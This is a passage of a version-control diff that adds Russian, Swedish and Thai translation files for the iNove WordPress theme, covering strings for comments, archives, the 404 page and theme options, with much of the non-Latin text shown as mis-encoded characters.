Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "" + +#: functions.php:213 +msgid "Menubar" +msgstr "Меню" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Показывать Ñтраницы как меню." + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Показывать рубрики как меню." + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Заметка" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML включен" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Эта заметка будет показана наверху главной над поÑтами." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Кто может видеть Ñто?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "ЗарегиÑтрированные пользователи" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Комментатор" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "ПоÑетители" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Тема днÑ" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Эта тема будет показана вверху боковой панели." + +#: functions.php:329 +msgid "Title:" +msgstr "Заголовок:" + +#: functions.php:345 +msgid "Posts" +msgstr "" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Показывать рубрики в поÑте." + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Показывать метки в поÑте." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "" + +#: functions.php:396 +msgid "Email feed." +msgstr "ÐžÐ±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ð¾ e-mail." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Сохранить изменениÑ" + +#: functions.php:567 +msgid "Reply" +msgstr "Ответить" + +#: functions.php:568 +msgid "Quote" +msgstr "Цитата" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "ÐŸÑ€Ð¾Ð´Ð²Ð¸Ð½ÑƒÑ‚Ð°Ñ Ð¿Ñ€Ð°Ð²ÐºÐ°" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Ваш комментарий ожидает проверки модератором." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Редактировать ÑÑылки" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "ПодпиÑатьÑÑ Ð½Ð° Ñтот блог..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "ПодпиÑатьÑÑ Ñ‡ÐµÑ€ÐµÐ·" + +#: sidebar.php:28 +msgid "Google" +msgstr "" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "ПодпиÑатьÑÑ Ð½Ð° Ñтот блог по e-mail..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "E-mail лента" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "Ðа главную Ñтраницу" + +#: single.php:7 +msgid "Home" +msgstr "ГлавнаÑ" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/sv_SE.mo Binary file web/wp-content/themes/inove/languages/sv_SE.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/sv_SE.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/sv_SE.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:07+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: Robert Kajic \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Swedish\n" +"X-Poedit-Country: SWEDEN\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - alla inlägg" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - alla kommentarer" + +#: 404.php:22 +msgid "Talker" +msgstr "Talare" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Välkommen till 404-sidan!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Välkommen till den här felsidan. Du har skickats till denna sida eftersom du klickade pÃ¥ en länk som inte finns. Detta är troligtvis vÃ¥rt fel men istället för att visa dig den vanliga '404 Error' sidan som är förvirrande och inte förklarar särskilt mycket har vi skapat denna sida för att förklara vad som gick snett." + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Du kan antingen (a) klicka pÃ¥ bakÃ¥tknappen i din webbläsare och försöka navigera vidare nÃ¥gon annanstans, eller (b) klicka pÃ¥ följade länk för att komma till startsidan." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "Tillbaka till startsidan »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Sökresultat" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "Nyckelord: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Arkiv" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Arkiv för ‘%1$s’ Kategori" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Inlägg taggade ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Arkiv för %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Författararkiv" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Bloggarkiv" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Ändra" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Inga kommentarer" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 kommentar" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% kommentarer" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Läs mer..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "Taggar: " + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Inga inlägg matchade din sökning." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "Nyare inlägg" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Äldre inlägg" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Skriv en kommentar" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "GÃ¥ till kommentarer" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Skriv in ditt lösenord för att se kommentarer." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Kommentarer" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Inga kommentarer än." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Kommentarsidor" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s i %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Inga trackbacks än." + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Kommentarer är avstängda." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Du mÃ¥ste vara inloggad för att skapa en kommentar." + +#: comments.php:150 +msgid "Logged in as" +msgstr "Inloggad som" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Logga ut frÃ¥n detta konto" + +#: comments.php:151 +msgid "Logout »" +msgstr "Logga ut »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Välkommen tillbaka %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Ändra »" + +#: comments.php:159 +msgid "Close »" +msgstr "Sträng »" + +#: comments.php:166 +msgid "Name" +msgstr "Namn" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(obligatorisk)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "E-post (kommer inte publiceras)" + +#: comments.php:174 +msgid "Website" +msgstr "Webbplats" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Prenumerera pÃ¥ kommentarflöde" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Skicka Kommentar" + +#: footer.php:17 +msgid "Top" +msgstr "" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "Temainställningar" + +#: functions.php:194 +msgid "Search" +msgstr "Sök" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "Använder googles sökmotor" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "Hitta name=\"cx\" i Sökfältskoden för Google Custom Search Engine, och skriv in värdet här.
    Till exempel: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "Meny" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Visa sidor som meny" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Visa kategorier som meny" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "Notifiering" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "HTML pÃ¥slaget" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "Denna notifiering kommer visas i huvudet pÃ¥ inläggen." + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Vem kan se?" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "Registrerade användare" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "Kommentator" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "Besökare" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "Showcase" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "Detta showcase kommer visas i huvudet pÃ¥ sidokolumnen." + +#: functions.php:329 +msgid "Title:" +msgstr "Titel:" + +#: functions.php:345 +msgid "Posts" +msgstr "Inlägg" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "Visa författare i inlägg" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "Visa kategorier i inlägg" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "Visa taggar i inlägg." + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "Flöde" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Anpassat flöde." + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "URL:" + +#: functions.php:396 +msgid "Email feed." +msgstr "E-postflöde." + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "Spara ändringar" + +#: functions.php:567 +msgid "Reply" +msgstr "Svara" + +#: functions.php:568 +msgid "Quote" +msgstr "Citera" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Avancerad redigering" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "Din kommentar väntar pÃ¥ att bli godkänd." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "Ändra länkar" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Prenumerera pÃ¥ denna blogg..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Prenumerera med " + +#: sidebar.php:28 +msgid "Google" +msgstr "Google" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "Youdao" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "Xian Guo" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "Zhya Xia" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "My Yahoo!" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "newsgator" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "Bloglines" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "iNezha" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Prenumerera pÃ¥ denna blogg via e-post..." + +#: sidebar.php:40 +msgid "Email feed" +msgstr "E-postflöde" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "GÃ¥ till startsidan" + +#: single.php:7 +msgid "Home" +msgstr "Hem" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/th.mo Binary file web/wp-content/themes/inove/languages/th.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/th.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/th.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:07+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - เรื่องทั้งหมด" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - ความเห็นทั้งหมด" + +#: 404.php:22 +msgid "Talker" +msgstr "ผู้พูดคุย" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "ยินดีต้อนรับสู่หน้า 404 error!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "ยินดีต้อนรับสู่หน้าผิดพลาดที่สร้างขึ้น คุณเข้าสู่หน้านี้เพราะว่าคุณได้à¸à¸”ลิงà¸à¹Œà¸«à¸™à¹‰à¸²à¸—ี่ไม่มีอยู่จริง นี่อาจเป็นปัà¸à¸«à¸²à¸‚องเรา... à¹à¸•่à¹à¸—นที่จะà¹à¸ªà¸”งหน้า '404 Error' ตามปà¸à¸•ิซึ่งอาจเพิ่มความสับสนให้à¸à¸±à¸šà¸„ุณ à¹à¸¥à¸°à¸¡à¸±à¸™à¸à¹‡à¹„ม่มีคำอธิบายอะไรเลย เราได้สร้างหน้านี้ขึ้นมาเพื่อบอà¸à¸à¸±à¸šà¸„ุณว่ามีบางอย่างผิดปà¸à¸•ิ" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "คุณสามารถà¸à¸”ปุ่ม 'back' ของเบราเซอร์ของคุณเพื่อà¸à¸¥à¸±à¸šà¹„ปหน้าà¸à¹ˆà¸­à¸™à¸«à¸™à¹‰à¸²à¹à¸¥à¸°à¸žà¸¢à¸²à¸¢à¸²à¸¡à¸—่องเว็บของเราในรูปà¹à¸šà¸šà¸—ี่ต่างจาà¸à¹€à¸”ิม หรือà¸à¸”ลิงà¸à¹Œà¸”้านล่างเพื่อà¸à¸¥à¸±à¸šà¹„ปยังหน้าà¹à¸£à¸" + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "à¸à¸¥à¸±à¸šà¹„ปยังหน้าà¹à¸£à¸ »" + +#: archive.php:10 +msgid "Search Results" +msgstr "ผลà¸à¸²à¸£à¸„้นหา" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "คีย์เวิร์ด: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "คลังเà¸à¹‡à¸š" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "คลังเà¸à¹‡à¸šà¸ªà¸³à¸«à¸£à¸±à¸šà¸«à¸¡à¸§à¸”หมู่ ‘%1$s’ " + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "ป้ายà¸à¸³à¸à¸±à¸šà¹€à¸£à¸·à¹ˆà¸­à¸‡ ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "คลังเà¸à¹‡à¸šà¸ªà¸³à¸«à¸£à¸±à¸š %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "F jS, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "F, Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "คลังเà¸à¹‡à¸šà¸œà¸¹à¹‰à¹€à¸‚ียน" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "คลังเà¸à¹‡à¸šà¸šà¸¥à¹‡à¸­à¸" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "à¹à¸à¹‰à¹„ข" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "ไม่มีความเห็น" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 ความเห็น" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% comments" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "อ่านต่อ..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "เสียใจด้วย ไม่มีเรื่องตรงà¸à¸±à¸šà¸à¸²à¸£à¸„้นหา" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "เรื่องที่ใหม่à¸à¸§à¹ˆà¸²" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "เรื่องที่เà¸à¹ˆà¸²à¸à¸§à¹ˆà¸²" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "เขียนความเห็น" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "ไปที่ความเห็น" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "ใส่รหัสผ่านของคุณเพื่อดูความเห็น" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "ความเห็น" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "Trackbacks" + +#: comments.php:34 +msgid "Trackback" +msgstr "Trackback" + +#: comments.php:58 +msgid "No comments yet." +msgstr "ยังไม่มีความคิดเห็น" + +#: comments.php:72 +msgid "Comment pages" +msgstr "หน้าความคิดเห็น" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s ที่ %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "ยังไม่มี trackbacks" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "ความเห็นถูà¸à¸›à¸´à¸”" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "คุณต้อง เข้าสู่ระบบ เพื่อเขียนความคิดเห็น" + +#: comments.php:150 +msgid "Logged in as" +msgstr "เข้าสู่ระบบในชื่อ" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "ออà¸à¸ˆà¸²à¸à¸£à¸°à¸šà¸šà¸‚องบัà¸à¸Šà¸µà¸™à¸µà¹‰" + +#: comments.php:151 +msgid "Logout »" +msgstr "ออà¸à¸ˆà¸²à¸à¸£à¸°à¸šà¸š »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "ยินดีต้อนรับอีà¸à¸„รั้ง %s." + +#: comments.php:158 +msgid "Change »" +msgstr "เปลี่ยนà¹à¸›à¸¥à¸‡ »" + +#: comments.php:159 +msgid "Close »" +msgstr "ปิด »" + +#: comments.php:166 +msgid "Name" +msgstr "ชื่อ" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(ต้องà¸à¸²à¸£)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "อีเมล์ (จะไม่à¹à¸ªà¸”งà¸à¸±à¸šà¸„นอื่น)" + +#: comments.php:174 +msgid "Website" +msgstr "เว็บไซต์" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "รับข่าวสารจาภfeed ความคิดเห็น" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "ส่งความเห็น" + +#: footer.php:17 +msgid "Top" +msgstr "บนสุด" + +#: footer.php:27 +msgid "Copyright © " +msgstr "Copyright © " + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "ธีมโดย NeoEase ซึ่งรองรับ XHTML 1.1 à¹à¸¥à¸° CSS 3." + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "ตัวเลือภTheme ปัจจุบัน" + +#: functions.php:194 +msgid "Search" +msgstr "ค้นหา" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "à¸à¸³à¸¥à¸±à¸‡à¹ƒà¸Šà¹‰ google custom search engine" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "ค้นหา name=\"cx\" ใน โค๊ดà¸à¸¥à¹ˆà¸­à¸‡à¸„้นหา ของ Google Custom Search Engine à¹à¸¥à¸°à¸žà¸´à¸¡à¸žà¹Œ ค่าของมัน ที่นี่
    ตัวอย่างเช่น: 014782006753236413342:1ltfrybsbz4" + +#: functions.php:213 +msgid "Menubar" +msgstr "à¹à¸–บเมนู" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "à¹à¸ªà¸”งหน้าเป็นเมนู" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "à¹à¸ªà¸”งหมวดหมู่เป็นเมนู" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "ข้อสังเà¸à¸•" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "ใช้งาน HTML" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "à¹à¸–บข้อสังเà¸à¸•ุจะà¹à¸ªà¸”งบนสุดของเรื่องในหน้าà¹à¸£à¸" + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "ใครสามารถเห็นได้" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "สมาชิà¸à¸¥à¸‡à¸—ะเบียน" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "ผู้ให้ความเห็น" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "ผู้เยี่ยมชม" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "ตัวอย่าง" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "ตัวอย่างนี้จะถูà¸à¹à¸ªà¸”งด้านบนสุดของด้านข้าง" + +#: functions.php:329 +msgid "Title:" +msgstr "หัวข้อ" + +#: functions.php:345 +msgid "Posts" +msgstr "เรื่อง" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "à¹à¸ªà¸”งผู้เขียนบนเรื่อง" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "à¹à¸ªà¸”งหมวดหมู่บนเรื่อง" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "à¹à¸ªà¸”งป้ายà¸à¸³à¸à¸±à¸šà¸šà¸™à¹€à¸£à¸·à¹ˆà¸­à¸‡" 